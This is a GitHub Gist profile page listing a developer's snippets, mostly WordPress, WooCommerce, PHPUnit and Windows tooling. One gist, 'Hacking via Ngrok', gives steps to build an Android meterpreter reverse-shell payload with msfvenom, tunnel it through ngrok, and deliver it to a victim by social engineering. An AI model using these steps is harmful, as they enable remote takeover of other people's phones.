Skip to content

Instantly share code, notes, and snippets.

View dasbairagya's full-sized avatar
🎯
Focusing

Gopal Dasbariagya dasbairagya

🎯
Focusing
View GitHub Profile
@dasbairagya
dasbairagya / .env
Created August 25, 2023 21:25
wordpress localsetup using docker desktop
MYSQL_DATABASE=wordpress
MYSQL_USER=wordpress
MYSQL_PASSWORD=password
MYSQL_ROOT_PASSWORD=root
@dasbairagya
dasbairagya / TestFinalClass.php
Last active March 5, 2023 12:16
How to mock a final class and private method
<?php
namespace UnitTest\App;
final class FinalClass
{
public function __construct()
{
}
@dasbairagya
dasbairagya / ssh.bash
Created February 27, 2022 11:33
generate ssh for windows
ssh-keygen -t rsa -b 4096 -C "your_email@gmail.com"
@dasbairagya
dasbairagya / README.md
Last active July 24, 2021 09:35
Woocommerce change product image and sku dynamically via jquery

Woocommerce change product image and sku dynamically via jquery

functions.php

<?php 
add_action( 'woocommerce_before_add_to_cart_quantity', 'gdb_display_dropdown_variation_add_cart' ); 
function gdb_display_dropdown_variation_add_cart() {
    
   global $product;
   $attachment_ids = $product->get_gallery_image_ids();
   $img_gallery = '';
@dasbairagya
dasbairagya / Alias.md
Last active July 24, 2021 09:37
Create Alias for Windows Powershell

Create Alias for Windows Powershell

Set-Alias -Name phpunit -Value "./vendor/bin/phpunit"
New-Alias -Name np -Value "C:\Windows\notepad.exe"
@dasbairagya
dasbairagya / front-page.md
Last active September 16, 2021 14:32
Woocommerce best sellers custom loop

Woocommerce best sellers custom loop

<?php 
$args = array(
  'post_type' 	=> array( 'product' ),
  'meta_key'  	=> 'total_sales',
  'orderby'   	=> 'meta_value_num',
  'order' 		=> 'desc',
  'posts_per_page'		=> 5
);
@dasbairagya
dasbairagya / functions.md
Last active July 24, 2021 09:40
woocommerce pagination customization

woocommerce pagination customization

function sa_get_bootstrap_paginate_links() {
	ob_start();
	?>
		<div class="pages clearfix">
			<?php
				global $wp_query;
				$current = max( 1, absint( get_query_var( 'paged' ) ) );
@dasbairagya
dasbairagya / README.md
Last active December 24, 2020 13:51
Wordpress custom load more

Add the load more button within custom loop

<?php
$args = array(
    'post_type' => 'post',
    'post_status' => 'publish',
    'posts_per_page' => '2',
    'paged' => 1,
);
$blog_posts = new WP_Query( $args );
@dasbairagya
dasbairagya / hacking.md
Last active August 24, 2023 19:48
Hacking via Ngrok

Hacking via Ngrok

Step1: download and configure the ngrok and move it to usr/bin/ in kali linux
Setp2: ngrok tcp 4444   [o/p: Forwarding  tcp://2.tcp.ngrok.io:14621 -> localhost:4444  ]
Step3: create payload using msfvenom e.g.
-> msfvenom -p android/meterpreter/reverse_tcp LHOST=2.tcp.ngrok.io LPORT=14621 R> /var/www/html/payload.apk or if port forwarded
  -> msfvenom -p android/meterpreter/reverse_tcp LHOST=router_external_ip(mine:45.121.xxx.xxx) LPORT=forwarded_port_of_router(mine:3000) R> /var/www/html/payload.apk
Note: after generation of the payload you need to send it to the victim via any social engineering delivery method (e.g. binding with game, picture, pdf or via direct link)

Step4: open metasploit console by runing msfconsole
@dasbairagya
dasbairagya / gist:de30ff714b4ca08e0e809ac96cea7ee2
Last active July 24, 2021 09:46
Drush is not working in Windows

If Drush is not working in Windows

$ drush status
'"C:\xampp\htdocs\drupalDrush\vendor\bin\drush.php.bat"' is not recognized as an internal or external command,
operable program or batch file.

Getting this error while using drush in windows.